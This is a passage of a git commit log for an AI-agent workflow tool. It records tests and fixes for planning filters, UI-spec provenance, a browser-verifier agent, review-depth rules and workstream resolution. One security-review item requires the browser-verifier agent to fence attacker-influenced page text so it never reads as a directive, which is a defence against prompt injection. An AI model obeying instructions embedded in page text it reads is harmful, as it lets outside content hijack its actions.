entry acknowledged a delta the gate cannot see. * chore(#2398): backfill changeset pr number to 3755 --------- Co-authored-by: sim <sim@local>	2026-08-22 10:53:14 -04:00
Tom Boucher	4918c62d76	feat(#2845 ): require provenance for UI-SPEC component inventories (#3745 ) * test(#2845): failing-first suite for UI-SPEC inventory provenance Binds two shared formats before either exists, so the suite is RED against next: the gsd-ui-checker dimension roster (asserted independently on twelve surfaces, eight English and four translated) and the provenance-line grammar the UI-SPEC template emits and Dimension 7 consumes. Every parity assertion is paired with a synthetic mutation case, so the guard's failure branch executes rather than only reading a correct tree: limit-1 (a surface still declaring 6), limit (7), limit+1 (8), a dropped dimension, a label that drifts on one surface only, a non-contiguous roster, a duplicated number, and a surface that stops declaring a count at all. A seeded fast-check property renders the roster under formatting noise (CRLF, padding, interleaved sections) and asserts the parse round-trips and is strictly sensitive to a dropped heading. Assertions are on parsed typed records, never raw substrings. * docs: normalize design-a-ui-phase how-to to American English House style for docs/ is American English (CLAUDE.md). This file carried colour/initialisation/initialise/artefact throughout. Spelling only — no content change; kept separate from the #2845 feature commit so the release-notes classifier and the hotfix cherry-pick filter see it for what it is. * feat(#2845): require provenance for UI-SPEC component inventories A UI-SPEC's component inventory was treated downstream as a closed allowlist while the document recorded nothing about whether the list had been enumerated from the installed design system or recalled from memory. A recalled inventory is indistinguishable from an enumerated one, so an executor complying with the spec builds against a fraction of what the package offers, and every gate stays green because they assert semantics rather than composition. The UI-SPEC template gains a Component Inventory slot carrying one of two provenance lines: the command that enumerated the list, the count it returned, the resolved package@version and the date; or a Could not enumerate record with a real reason. gsd-ui-researcher gains an enumeration ladder and must record the line rather than write the list from recall. gsd-ui-checker gains Dimension 7. An inventory with no provenance line, a count with no command, an empty could-not-enumerate reason, or a line still carrying the template's unfilled placeholders BLOCKs; a partial line, a line placed below its table, or an honest negative record FLAGs; a complete line passes, and so does a spec carrying no inventory at all, which keeps every UI-SPEC predating the dimension validating unchanged. Whatever the verdict, an unsourced inventory is reported as a non-exhaustive list of known-good components rather than a closed allowlist, so the executor is never blocked from a component the spec merely failed to mention. The checker never runs the recorded command. The dimension count moved on all thirteen surfaces that assert it, across five languages. Also corrects the claim in the English, Korean and Portuguese how-tos that this checker applies a scored six-pillar rubric — that rubric belongs to /gsd-ui-review's retroactive audit. * chore(#2845): backfill changeset pr number to 3745 --------- Co-authored-by: sim <sim@local>	2026-08-21 11:59:56 -04:00

Tom Boucher	9a69a86f42	enhance(#2971 ): strict planning filter mode for /gsd-pr-branch (#3720 ) * test(#2971): failing-first suite for the pr-branch planning-path filter Binds the not-yet-built planning.pr_strict mode and the corrected filter recipe for /gsd-pr-branch across six layers: pure classification and forbidden-path predicates, real-git fixtures that run the cherry-pick filter loop end to end, config-key registration through the real CLI and both manifests, the executed worktree-materialization claim the issue's triage asked to establish, fast-check properties over arbitrary path sets, and a drift guard over the shipped workflow. Two live defects in today's shipped recipe are pinned as regressions, both reproduced empirically first: `git rm -r --cached` stages a deletion of any .planning/ path the target branch already tracks, so the generated PR removes the base branch's planning files; and the same command leaves the cherry-picked file untracked on disk, so a second commit touching that path aborts the pick with "untracked working tree files would be overwritten" and every remaining commit is silently dropped. The test helper parses the canonical path lists out of gsd-core/workflows/pr-branch.md rather than restating them, so the workflow stays the single source of truth and the suite cannot drift from what ships. Refs #2971 * feat(#2971): strict planning filter mode for /gsd-pr-branch Adds planning.pr_strict — a boolean, default false, that selects what /gsd-pr-branch means by "filtered". Default mode is unchanged: structural planning state survives into the PR branch and the nine transient subdirectories do not. Strict mode drops every .planning/ path, structural files included, and carries a commit over only when it touches at least one file outside .planning/. Strict mode is what makes planning.commit_docs: true safe for a project that versions its planning tree locally but publishes none of it. The alternative posture, commit_docs: false, silently costs parallel executor isolation — a worktree is checked out from a commit, so an untracked or ignored .planning/ is simply absent inside it and the executor has no PLAN.md to read. That claim is now established by an executed fixture rather than inherited. The two path lists are declared once and both projections derived from them, so create_pr_branch and verify can no longer disagree about what the filter promised. verify previously counted every .planning/ path against a documented success criterion of zero while create_pr_branch was specified to preserve five structural files, so a correct run reported itself as failed on every phase that touched STATE.md — which is every phase. It now asserts against the active mode, and names the .planning/ paths default mode deliberately keeps rather than trading a wrong signal for silence. Two verified defects in the same recipe are fixed alongside, because strict mode would have amplified both. `git rm -r --cached` staged a deletion for any .planning/ path the target branch already tracked, so the generated PR removed the base branch's planning files — under strict mode that would have been the entire tree. The same command left the picked file untracked on disk, so a second commit touching that path aborted the cherry-pick with "untracked working tree files would be overwritten" and every remaining commit was silently dropped. Both were reproduced against real git before being fixed. The filter now forces excluded paths back to what the PR branch's HEAD carries, in the index and the working tree; a conflict outside the filter halts instead of being improvised past; a commit left empty by filtering is skipped rather than failing. A clean-working-tree precondition makes the worktree half safe. Closes #2971 * fix(#2971): unwind the checkout on a conflict halt, and test the real recipe Two review findings, both fixed in place. The isolated adversarial pass found that the conflict-outside-the-filter branch exited while leaving the user checked out on the half-built PR branch with cherry-pick state still live — this loop runs in the user's own working directory, so stranding them there is a real cost even though it is not a vulnerability. The branch now aborts the pick, returns to the original branch, removes the partial PR branch, and says so before exiting. The standards pass found the L2 fixtures executed a hand-written mirror of the cherry-pick filter recipe rather than the recipe itself, so a reordering in the workflow would not have been caught — and the order is load-bearing, since restoring a path from HEAD before removing it inverts the filter. The helper now extracts the canonical loop from the shipped workflow and the fixtures execute that verbatim, which also gives the conflict-halt unwind above real coverage. The drift guard additionally pins the two commands' relative order and asserts the workflow carries exactly one canonical loop. Also records the publication gate in the CONTEXT.md glossary next to the commit gate it is distinct from. Refs #2971 * fix(#2971): make the conflict-halt unwind actually unwind, and use the colon slash form The remote matrix caught two defects in the previous commit. The halt path claimed to restore the original branch but did not. `git cherry-pick --abort` does not apply to a single `--no-commit` pick with no sequencer file, and the fallback left the unmerged index in place, which makes `git checkout` refuse — a failure the `2>/dev/null \|\| true` then swallowed, so the user was told they had been restored while still sitting on the half-built PR branch. The unwind now drops sequencer state, hard-resets the disposable PR branch to clear the unmerged index, and only claims a restore when the checkout actually succeeded; when it does not, it says where the user is and gives them the two commands to finish it by hand. Verified against real git: exit 1, the conflict named, HEAD back on the original branch, the partial branch gone, a clean tree and no CHERRY_PICK_HEAD. Two runtime-loaded source artifacts used the retired `/gsd-<cmd>` hyphen form, which names a command no runtime registers. The canonical authoring token for workflows and references is `/gsd:<cmd>`; docs keep the hyphen form, so the documentation added in this branch is unaffected. The comment in src/config.cts moves to the colon form too, since it propagates into the generated lib.

Tom Boucher	14679b866b	enhance(#2856 ): add default-off live-DOM UAT capability (#3716 ) * test(#2856): add failing-first suite for the live-dom-uat capability Binds the approved triage shape before any of it exists: - containment — the execute:wave:post hook must not render unless workflow.live_dom_uat is true AND the capability resolves active (fail-closed on a missing state entry, and on a non-boolean value) - criterion 4 — agents/gsd-executor.md carries no browser MCP family; asserted as an absence, which is the only way it is observable - Hyrum guard — the pre-existing mcp__playwright__* branch must stay outside the key-gated block, or upgrading silently removes working automated UI verification for every current Playwright-MCP user - parity — the browser glob list now lives in two surfaces (agent frontmatter + workflow detection block); the assertion fails if either gains or loses a family without the other Red by construction: the capability, agent and workflow block do not exist yet. Verified on the remote runner. Refs #2856 * enhance(#2856): add default-off live-DOM UAT capability A phase whose acceptance criteria needed a live DOM could not be finished by the agent that executed it: gsd-executor carries no browser tools, so it correctly returned checkpoint:human-action even though the work was not human-only, just tool-less. Every such phase degraded to "executed, then finished by hand in the orchestrator", and autonomous: false could not distinguish "a human must judge this" from "the executor lacks the tool". Implements the shape approved at triage, not the one reported. The executor's tools: line is NOT widened, in any configuration: for a first-party agent the static list is the only control that exists (ADR-1244 D2, ADR-857 D4, no per-dispatch override). Instead one default-off capability owns the key, the agent, and the step: - capabilities/live-dom-uat/ — activationKey workflow.live_dom_uat (boolean, default false), one additive step at execute:wave:post (onError: skip, gates: []), so it can never halt a wave - agents/gsd-dom-verifier.md — the only GSD agent carrying browser MCP globs, in its own tools: line, with no Bash - verify-work automated_ui_verification — a gsd:live-dom-families block naming both new families AND the key; presence alone never activates Two independent fail-closed gates: isCapabilityActive renders a hook only on state.active === true, plus the step's own `when`. The pre-existing mcp__playwright__* branch keeps the gating it already had and stays outside the new block. Pulling it behind a default-off key would have silently removed working automated UI verification from every current Playwright-MCP user on upgrade. Also closes a host gap this surfaced: execute:wave:post dispatched only contribution + gate, so ANY registered step was declared and silently never run — exactly the single-kind hand-roll loop-hook-dispatch.md names. Step 5.75 now dispatches every kind == "step". The browser-profile lock is tolerated, not coordinated: --isolated is a flag on the operator's own MCP-server registration that GSD neither launches nor parameterizes, so the verifier reports could_not_look / profile_locked, names the flag, and stops. DOM-VERIFY.md keeps could_not_look and nothing_to_report distinct behind a closed reason enum — collapsing them is the ambiguous-run-notes defect reported. Verified on the remote runner. Closes #2856 * fix(#2856): apply review findings from the orthogonal passes Correctness pass (blocker): - delete detectionBlockIsCrlfSafe. It was pass-always: it read the file, replaced LF with CRLF, then indexOf'd marker strings that contain no newline, so the replacement could not change the result and the assertion could never fail for the reason it stated. There is no real CRLF risk on this surface either — the gsd:live-dom-families block has no parser, only human and agent readers. Deleted rather than replaced, per the repo's pass-always-test rule. Isolated security pass (two minors, both real): - execute-phase.md step 5.75: this change is what first activates kind == "step" dispatch at execute:wave:post, which newly opens the ref.command shell path at that loop point. Our own step uses ref.agent and never touches it, but the door is now open, so the step-dispatch line carries the same in-context validate-before-shell warning the sibling gate-dispatch line directly below it already carries. - gsd-dom-verifier: quoted page text in DOM-VERIFY.md is attacker influenced. Require it wrapped in inline code or a fence, kept short, and never left reading as a directive to the next reader. Verified on the remote runner. Refs #2856 * fix(#2856): settle the new-agent roster ripple Checkpoint 2 returned 28 failures, none in the new suite — all of them the guards that exist to make adding an agent a deliberate act. Each is a real boundary that had to move: - docs/AGENTS.md: Tools row must copy the frontmatter verbatim (#2526), so the browser globs lose their backticks; primary-agent counts 21->22, roster 33/34->34/35, Verifiers category 1->2 - docs/INVENTORY.md: roster completeness requires every agents/gsd-.md to be classified exactly once - gsd-dom-verifier: add the anti-heredoc instruction and the commented hooks: frontmatter pattern both agent gates require - gsd-core/bin/shared/model-catalog.json: every shipped agent needs a profile entry (#3229) - copilot-install / kilo-upgrades / qwen-upgrades: expected agent list and the 34->35 roster boundary - execute-wave-post-gate-pipeline-e2e: execute:wave:post legitimately carries one step now. Asserted as an exact shape — one step, capId live-dom-uat, ref.agent gsd-dom-verifier, onError skip — so it stays a real guard against accidental change rather than being relaxed Two findings worth naming: mcp-tool-inheritance (#2526) rejected the agent for documenting mcp__playwright__ while its tools: line withholds it — a dead instruction that invites the agent to claim a path it cannot take. The prose now names the Playwright MCP family without the dispatchable token, in both the agent and the capability fragment. runtime-launcher-parity rejected the new gsd_run call: each fenced block is its own shell, so a workflow step file invoking gsd_run needs its own canonical preamble. Propagated with scripts/sync-runtime-launcher.cjs. That script also normalizes explore.md, which is unrelated pre-existing drift the parity check tolerates, so it is reverted to keep this diff scoped. The emitted-drift ack supersedes the spent #3370 entry for execute-phase.md — it is merged into next, so its ripple is absorbed at the base and it can no longer clear anything. That is the same supersede the #3370 entry itself performed on the spent #3324 fragment. Its unrelated execute-plan.md entry is untouched. Verified on the remote runner. Refs #2856 * fix(#2856): drop the stale emitted-drift ack entry The automated-ui-verification.md entry was written speculatively rather than from a reported growth, and the check names that precisely: an ack "written or reworded in THIS diff, but nothing here needed it, so it explains nothing". The growth tier keys on the bare filename as it appears under gsd-core/workflows/ or agents/. automated-ui-verification.md is nested under verify-work/steps/, so it was never in the tracked set — only execute-phase.md was ever reported, both before and after the launcher preamble landed. Only ack what the check actually reports. Verified on the remote runner. Refs #2856 * chore(#2856): backfill changeset pr number pr:0 -> 3716.

Tom Boucher	77fa08f1e8	fix(#2773 ): feed the spec-phase edge probe English-translated requirement text (#3713 ) * test(#2773): failing-first contract and premise tests for translated edge-probe input Locks the Step 5.5 contract that a response_language project must feed the edge probe an English translation of each requirement's text, and binds that advice to measured engine behavior: the same requirement classifies to zero shapes in Portuguese and to collection/adjacency/empty/ordering in English. Also pins the honest limit — the issue's own repro sentence classifies to [] in English too, so translation is necessary but not sufficient and the authored shapes override is the documented fallback. Red before the doc change; the assertions are all false today. Refs #2773 * fix(#2773): feed the spec-phase edge probe English-translated requirement text The shape cues in src/edge-probe.cts are English word-boundary regexes, so a project running with response_language set wrote its SPEC requirements into the Step 5.5 $REQS_JSON heredoc in that language, matched no cue, classified to zero shapes, and landed every row in the unclassified sentinel (#1110). The taxonomy contributed nothing and --auto left it all unresolved — the probe was a silent no-op for exactly the spec type it exists to harden. Step 5.5 now states that the $REQS_JSON payload is engine input rather than user-facing output, so the response_language rule does not govern it: each requirement's text carries a faithful English translation, the SPEC keeps its original language, and requirement ids are never translated or renumbered. The instruction sits before the heredoc on purpose — the downstream APPLICABLE=0 warning fires only when every requirement is unclassified, so a partly-classified non-English spec would otherwise slip through with no signal at all. Measured against the compiled engine: the same requirement returns [] in Portuguese and collection -> adjacency/empty/ordering in English. Also measured: the issue's own repro sentence returns [] in English too, so translation is necessary but not sufficient — the instruction therefore points at the authored shapes override for prose carrying no cue in any language rather than promising that translation restores classification. Doc scope only, per the triage disposition on the issue. The compiled engine is untouched; the lang-hint / per-language cue-set fix is a separate follow-up. Closes #2773 * fix(#2773): clean up the edge-probe temp file on the placeholder-guard exit path Surfaced by the isolated security review of this branch. Between the mktemp and the unconditional cleanup, Step 5.5 has two sibling guards that disagreed about their own invariant: the engine-failure guard runs rm -f "$REQS_JSON" before exiting, while the empty/placeholder guard directly above it exited without one. A spec run that tripped the placeholder check therefore stranded a temp file holding the SPEC's requirement text in TMPDIR, once per failed run. The added contract test walks the region between the mktemp and the unconditional cleanup and asserts no exit path leaves the file behind, so the two guards can no longer drift apart. Proven to bind: run against the pre-fix file the walker reports the leaking exit; against the fixed file it reports none. Refs #2773 * docs(#2773): record the edge probe's English-cue input constraint in the predicate store The co-change gate flagged CONTEXT.md (13 co-changes with spec-phase.md) and docs/CONFIGURATION.md (11) as candidate-missing-updates, and both were real gaps rather than incidental coupling. CONTEXT.md's EdgeCompletenessProbeModule entry documents the input contract for classifyShape but did not record that SHAPE_CUES are English word-boundary patterns — so the predicate store implied text was language-agnostic, which is what a future agent reads before touching this seam. docs/CONFIGURATION.md's response_language row is what a non-English project reads when it turns the setting on; it now names the one deliberate exception and links to the FEATURES.md explanation, so the interaction is discoverable from the config key rather than only from the workflow. CONTEXT-INDEX.json regenerated via gen-context-index.cjs --write. The drift-ack fragment is updated for the final byte range and now also records the placeholder-guard cleanup fix folded into the same block. Refs #2773 * fix(#2773): append the growth rationale to the existing spec-phase.md ack entry The remote runner caught this: emitted-attribution.test.cjs pins the 0000-legacy-migration.json spec-phase.md entry permanently (the #2914 migration regression test asserts the exact '31987 -> 31997' delta text survives), so removing it to avoid a duplicate-key collision with a new fragment broke that test instead of satisfying the ratchet. The entry is an accreting log, not a single-use slot — #2733, #3132 and #3102 were each appended to the same reason string by later PRs, which is how a shared growth key coexists with the rule that two ack sources may never name the same path. This appends the #2773 rationale the same way and drops the separate fragment, whose spec-phase.md key was the collision. Verified locally by reproducing both affected tests against the real fragment before re-dispatching: the pinned delta survives, grown[0].acked is true, staleAcks is empty, and all 35 entries still read as spent. Refs #2773 * docs(#2773): add a how-to for probing edges in a non-English project The phase gate's enablementSequence check caught a wrong call of mine. I had recorded that no how-to was owed because the user takes zero extra steps — the workflow translates the probe input itself. Written out, though, the sequence from off to value is two steps and step 1 depends on response_language, a setting owned by a different capability than the edge probe, which is exactly the condition the how-to test names. There is also real task content a reference table cannot carry: the three-way split between a few unclassified rows (the classifier's recall gap), every row unclassified (the probe could not read the spec at all), and the silent partly-classified case where the APPLICABLE=0 warning never fires. That last one is what a user would otherwise misread as a clean bill of health. Shaped after the resolve-edge-coverage-findings / resolve-unreachable-guard siblings and indexed from docs/README.md next to its closest relative.

Tom Boucher	2fca0e17e4	enhance(#2554 ): resolve code review depth from path-scoped override rules (#3695 ) * test(#2554): failing-first suite for path-scoped code review depth overrides Binds the not-yet-built code-review-depth module: segment-aware path-prefix matching of a changed-file set against ordered {paths,depth} rules, resolution order flag > strongest matching rule > global > standard, typed validation errors, and the large-scope downgrade boundary. Also proves behaviorally that workflow.code_review_depth_overrides is not yet a registered config key. Refs #2554 * feat(#2554): resolve code review depth from path-scoped override rules Adds workflow.code_review_depth_overrides — an ordered array of {paths, depth} rules matched against a review's changed-file set by segment-aware path-prefix comparison. Resolution order is --depth= flag, then the strongest matching rule, then workflow.code_review_depth, then standard; a matching rule replaces the global rather than being max'd with it, so quick and standard rules stay meaningful. Glob metacharacters are a hard configuration error rather than sugar for a prefix, and malformed rules halt the review instead of degrading to standard. The resolver is pure and reports its own provenance, so the workflow can print the resolved depth and the rule that matched. The pre-existing >50-file deep-to-standard downgrade moves into the module and now names the rule it overrode. The key is registered centrally rather than as a capability config slice: the federated slice channel admits only boolean/string/number/enum, so an array slice would be dropped as malformed. Closes #2554 * test(#2554): correct depth-provenance assertions and pin out-of-repo paths Two corrections to the failing-first suite. The source assertion for a non-matching rule with no global configured expected 'config'; with no global set the depth comes from the default, and a companion assertion tolerated either value, so both passed against an implementation that derived provenance from whether any rules existed rather than from where the depth came from. The out-of-repo absolute-path case used a home-directory path that matched neither implementation, so it never exercised the defect it named. It now pins the discriminating cases: an absolute path outside the repo root must not match a repo-relative rule, and one under the root must. * docs(#2554): document path-scoped code review depth overrides Reference rows for workflow.code_review_depth_overrides in the configuration, features and commands references plus the locale copies that carry those tables, and in the planning-config reference. Explanation of why escalation is whole-review rather than per-file and why v1 is prefix-only. New how-to for scoping review depth by path, carrying the configuration-error reason table and the distinction between nothing to report and could not look. CONTEXT.md glossary entry and the INVENTORY row for the new CLI module. ja-JP and ko-KR CONFIGURATION.md carry no code_review keys at all, and ko-KR and pt-BR FEATURES.md carry no code-review config table, so those files are deliberately untouched. * fix(#2554): make the depth-misconfiguration halt executable and reject control chars Three review findings, all in this change. The misconfiguration halt was prose rather than shell: the error-printing fence was followed by an unconditional extraction fence, so an ok:false result threw and left the depth empty instead of stopping the review. Prose is not a guard — the two fences are now one block with a real conditional, and anything that is not the literal string true fails closed. An interior control character in a rule path survived validation and reached the provenance string and the summary box; rule paths now reject control characters via a new PATH_CONTROL_CHAR reason, after the glob check so precedence is unchanged. That in turn makes the field record safe to delimit, so the seven node invocations that each re-parsed the same result to read one field collapse to one. Also corrects the glossary entry's illustrative paths, which the glossary-ref check read as real repository references. * fix(#2554): use the fast-check v4 string API and acknowledge workflow growth Two failures from the remote matrix on d3111f45, both this branch's. The property block built its segment arbitrary with fc.stringOf, removed in fast-check v4. Because the arbitrary is constructed in the describe body, the throw took out all four property tests rather than one — they had never executed. Rewritten to fc.string({unit, ...}), the form this repo already uses in emitted-attribution.test.cjs. Every other fast-check helper in the file was audited against the installed module. The emitted-attribution growth arm needed an acknowledgment for code-review.md, which grew 5376 bytes. The pre-existing 3503 fragment keying the same file is spent — its ripple was absorbed when #3503 merged, and the base file is exactly the 34435-byte baseline this growth is measured against — so it cannot clear anything, while the ack lint hard-fails on a duplicate key across two sources. Removed it in favor of the new fragment, which is exactly how #3503 itself replaced the spent 3191 fragment. * docs(#2554): backfill changeset PR number --------- Co-authored-by: sim <sim@local>	2026-08-19 22:45:35 -04:00

Never executes command text. - gsd-tools check verify-command-paths <N>: per-phase probe, wired into plan-phase.md before the plan-check pass. - init.plan-phase gains prior_verify_commands, ungated by context_window. - gsd-plan-checker: new Verify Command Path Resolvability dimension that reports the failing target and never prescribes a replacement. Also fixes first-match-wins prefix bucketing in scripts/lint-test-file-count.cjs (readdir order is not stable across platforms, so a module whose name extends another's with a hyphen bucketed differently on Linux than on macOS). Closes #2401 Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2401): ground the canonical --prefix form, quoted paths, and absolute cd resets Independent review found three defects in the recognizer: - npm --prefix DIR run SCRIPT never reached the script-existence check, because the pattern required npm and run to be adjacent. That is the form the docs tell planners to prefer, so script_missing never fired for it. The prefix flag and its value are now stripped before matching. - --prefix captured with \S+, so a quoted path containing a space was truncated to a stray opening quote and reported as a missing directory - a false blocker, worse than the bug this feature fixes. The capture is now quote-aware. - A chained cd whose later segment was absolute concatenated instead of resetting, producing a nonsense path and another false blocker. The fold now resets on an absolute segment. Also replaces the bespoke phase-directory regex with the canonical phase-id helpers. Real phase directories are NN-slug, not phase-N-slug, so the prior-command harvest matched nothing outside its own fixtures and the planner-inheritance half of this feature was dead code. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * refactor(#2401): source task blocks from the canonical sectionizer The module carried its own copy of the <task>-block grammar - a fourth hand-rolled mirror of the one markdown-sectionizer owns. verify.cts keeps its copy only because it needs the type= attribute the canonical helper discards; this module never reads that attribute, so it can share the owner outright instead of adding a test around a copy. extractAutomatedCommands now takes task bodies from extractTaggedBlocks and the out-of-task remainder from stripTaggedBlocks. A task-grammar parity test pins the attributed task-name set against the canonical helper across six awkward task shapes. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> * fix(#2401): extract agent-file overflow to references and repair the property arbitrary The remote matrix run came back red with 19 failures, four root causes: - agents/gsd-plan-checker.md and agents/gsd-planner.md both blew the 49152 agent cap. Their bodies move to gsd-core/references/, leaving @-reference stubs, per the documented overflow pattern. - The new checker dimension invoked gsd_run before the canonical preamble that defines it. The call is deleted outright: plan-phase.md already runs the probe and hands the result in as {VERIFY_PATHS}, so the dimension consumes that rather than re-running anything. - fc.fullUnicodeString does not exist in fast-check 4.8.0. Replaced with fc.string({ unit: 'binary' }), which covers the same 0000-10FFFF range. - Three runtime-loaded files grew; acknowledged in the existing ack fragments that already own those bare filenames, since two ack sources may never name the same path.

The dynamic-path refusal rejected ~ anywhere, and a GitHub Windows runner's tmpdir is an 8.3 short name - C:\Users\RUNNER~1\AppData\Local\Temp - so a valid absolute Windows path came back unresolvable/dynamic_path. This was a production bug, not a test artifact: any Windows user whose project path carries an 8.3 short name, or any literal ~, silently lost the probe entirely - every command degrading to unresolvable with no explanation. ~ is a home expansion only at the start of a path; elsewhere it is an ordinary literal. The check is now split: $, backtick, *, ? and newline stay refused anywhere (substitution and globs, and the glob characters are illegal in Windows path components regardless), while ~ is refused only leading, tolerating one leading quote since the check runs before quote stripping. The prior tests only caught this on Windows because only Windows puts a ~ in tmpdir. Four new tests pin it on every platform via a fixture directory literally named RUNNER~1.

Tom Boucher	9de4d67118	fix(#3579 ): a pointer-less session inherits the repo active-workstream marker (#3616 ) * test(3579): failing-first coverage for repo-marker inheritance A session that carries an identity but has never run 'workstream use' reads an absent session pointer, resolves null, and composes the flat .planning tree even when .planning/active-workstream names a live workstream. These tests fail on that and pin the invariants the fix must not break: a session with its own pointer is never repointed, and a session that merely lacked a pointer must never clear the shared marker on another session's behalf. * fix(3579): a pointer-less session inherits the repo active-workstream marker RED proven at 157cae26: the three inheritance tests failed while every isolation and negative control passed on base — the gap, and nothing else. pickActiveWorkstreamAdapter returned exactly ONE adapter: the session-scoped one whenever a session key existed, so the shared .planning/active-workstream marker was never consulted. getWorkstreamSessionKey resolves a key from ~13 env vars or the controlling TTY, so on any normal interactive terminal a key almost always exists — which is why a session that had never run 'workstream use' read an absent pointer, resolved null, and composed the FLAT planning tree even though the repo marker named a live workstream. Reads misreported; writes corrupted the superseded flat STATE. Silent, because the stale tree is well-formed. This was a genuine design fork, not an oversight: references/workstream-flag.md documented step 4 as a fallback 'when no session key exists', and the session isolation that buys is deliberate (#2850). The issue's Agent Brief left the choice open and said the reference doc should match whatever semantics ship. The maintainer ruled in chat for inheritance. Resolution now walks an ORDERED chain — session adapter first, shared second — and only a null from the session adapter falls through to the marker. Strictly additive: it can only turn a null into a name, never change a name that already resolves. The dangerous part is clear() ownership. resolveFromChain treats chain[0] as owned: only it is ever cleared, and only under selfHeal (getActiveWorkstream, never peek). An INHERITED marker is read-only — a stale value there resolves null and the file is left alone. Without that, one pointer-less session's read would delete the repo marker for every other session, which is a worse bug than the one being fixed. Covered by a test that asserts the marker still exists on disk after such a read. peekActiveWorkstream inherits but still mutates nothing (#2850 — the statusline draws on every render). references/workstream-flag.md's Resolution Priority is rewritten to match, keeping the session-isolation rationale and noting that inheritance does not weaken it: a session that owns a pointer is never repointed. Fixes #3579 * fix(3579): correct the guard diagnostics and lock the clear-semantics Three review passes; every finding fixed inline. MISSING ACCEPTANCE CRITERION (spec pass). The brief requires refusal diagnostics that distinguish 'marker present but the session lookup missed it' from 'no workstream set at all', and the two workstream-mode fail-safe guards were byte-for-byte untouched — still emitting a generic 'no active workstream is set' even when a marker exists and merely names a missing directory. Both guards (cmdPhaseComplete, cmdInitProgress) now branch on a new read-only diagnoseUnresolvedActiveWorkstream, which reuses the SAME resolvesToExistingWorkstream predicate resolveFromChain uses, so the diagnosis and the resolution cannot disagree. Two typed reasons added to ERROR_REASON; both arms still refuse — the fail-closed behavior is unchanged, only the message is now true. REAL TEST FAILURE, not a flake. The remote run failed 'clearing one session does not clear another session pointer'. That describe uses before() rather than beforeEach, so one tmpDir is shared and an earlier test writes active-workstream=beta into it; under inheritance the just-cleared session picks that marker up and resolves beta instead of null. The failure is a CORRECT consequence of Option A surfaced through an order-dependent fixture. The test now establishes its own marker state explicitly — its real intent (clearing A must not disturb B's pointer) is preserved and not weakened — and a new test pins the semantic deliberately: clearing a session pointer returns that session to INHERITING the marker, it does not force flat mode. Documented in references/workstream-flag.md, including how to actually get flat behavior. Also from review: partial activeWorkstreamAdapters injection no longer silently synthesizes a REAL filesystem adapter for the missing half (a latent test-isolation trap); the duplicated validate-then-existsSync logic is factored into one predicate; and the two try/finally test bodies are converted to t.after per CONTRIBUTING. New coverage: whitespace/empty shared marker; a session whose OWN pointer is stale while the marker names a different valid workstream (must self-heal to null, never inherit — the isolation guarantee at its sharpest); and both new diagnostic arms asserted on structured --json-errors output rather than prose. * fix(3579): read resolvability with the non-mutating peek, not the self-healing resolver Three of our own new tests failed on 7f5e706a. All three had ONE root cause, and none was fixed by relaxing an assertion. gsd-tools.cjs's bootstrap called the MUTATING getActiveWorkstream unconditionally on every invocation, purely to populate routing env. On an unresolvable pointer that self-healed — cleared it — BEFORE the dispatched command ran its own resolution. A second read in the same process then observed already-cleared state: - Isolation violation: a session whose own pointer was stale had it cleared by the bootstrap, so cmdWorkstreamGet's own resolution found a pointer-LESS session and inherited the shared marker ('beta' instead of null). Exactly the guarantee #2850 exists to protect, defeated across two calls rather than within one. - Guard diagnostics: the guards' own truthiness check also used the mutating resolver, so it cleared the invalid marker and the immediately-following read-only diagnosis found nothing and reported none_active instead of marker_unresolved. So a single invocation's answer depended on how many times it resolved. The bootstrap self-heal is PRE-EXISTING and was harmless while pointer-less meant flat — inheritance is what made it answer-changing, so this fix belongs here. Every call site that only CHECKS resolvability — the bootstrap, both fail-safe guards' truthiness check, and two informational init report fields — now uses the non-mutating peekActiveWorkstream. Self-heal is unchanged in active-workstream-store and still fires exactly once, at whichever site actually consumes the workstream. Verified by driving the real CLI against temp fixtures, since the suite cannot run locally: stale-own-pointer resolves null with the marker intact; both guard arms report marker_unresolved with missing_workstream_dir / invalid_name and the marker survives; no-marker still reports none_active; identity-less self-heal still deletes an invalid marker byte-identically to pre-#3579; and a session with a valid own pointer still wins. * chore(3579): backfill changeset PR number (#3616) * test(3579): kill the surviving mutants in the new resolution code CI's Stryker gate failed: active-workstream-store scored 79.45% against a break threshold of 80 — 259 killed, 67 survived, at 'Ran 1.00 tests per mutant on average'. The survivors cluster in the code this PR added (pickActiveWorkstreamAdapterChain, resolvesToExistingWorkstream, resolveFromChain, diagnoseUnresolvedActiveWorkstream): the CLI-level tests exercise those paths but do not DISCRIMINATE their branches, which is precisely what a surviving mutant means. Raised by strengthening assertions, never by touching the threshold. 21 unit tests added to the existing unit suite, each written to fail under a specific named mutant, using the module's injected adapter seams and createMemoryPointerAdapter so they stay hermetic under Stryker's per-mutant reruns: - chain shape with and without a session key, asserting length AND element identity (kills the if(false), the ': []' array mutant, and the block removal) - partial adapter injection, asserting the missing half is an inert memory adapter that never touches the filesystem (kills the three '??' -> '&&' mutants) - both arms of '!name \|\| !validateWorkstreamName(name)' as SEPARATE tests — an absent name and a non-empty invalid one — which is what kills the '\|\|' -> '&&' mutant - self-heal discrimination: getActiveWorkstream must clear an unresolvable owned pointer and peekActiveWorkstream must not, asserted on adapter state after each (kills if(selfHeal) -> if(true)) - fallback arm both ways: a fallback that resolves and one that does not - diagnoseUnresolvedActiveWorkstream asserted as a full object per case, with the reason strings compared exactly (kills present:true -> false and both StringLiteral mutants) One mutant is deliberately left: 'if (chain.length === 0)' -> 'if (false)'. The branch is structurally unreachable — the only chain source always returns a 1- or 2-element array literal — and resolveFromChain is not exported. Killing it would mean exporting an internal or deleting a defensive guard; neither is worth doing for a mutant, and the score clears 80 without it. Recorded here rather than left unexplained. Every new assertion was evaluated against the built module with real fixtures before committing, since the suite cannot run locally. --------- Co-authored-by: sim <sim@local>	2026-08-18 11:37:44 -04:00
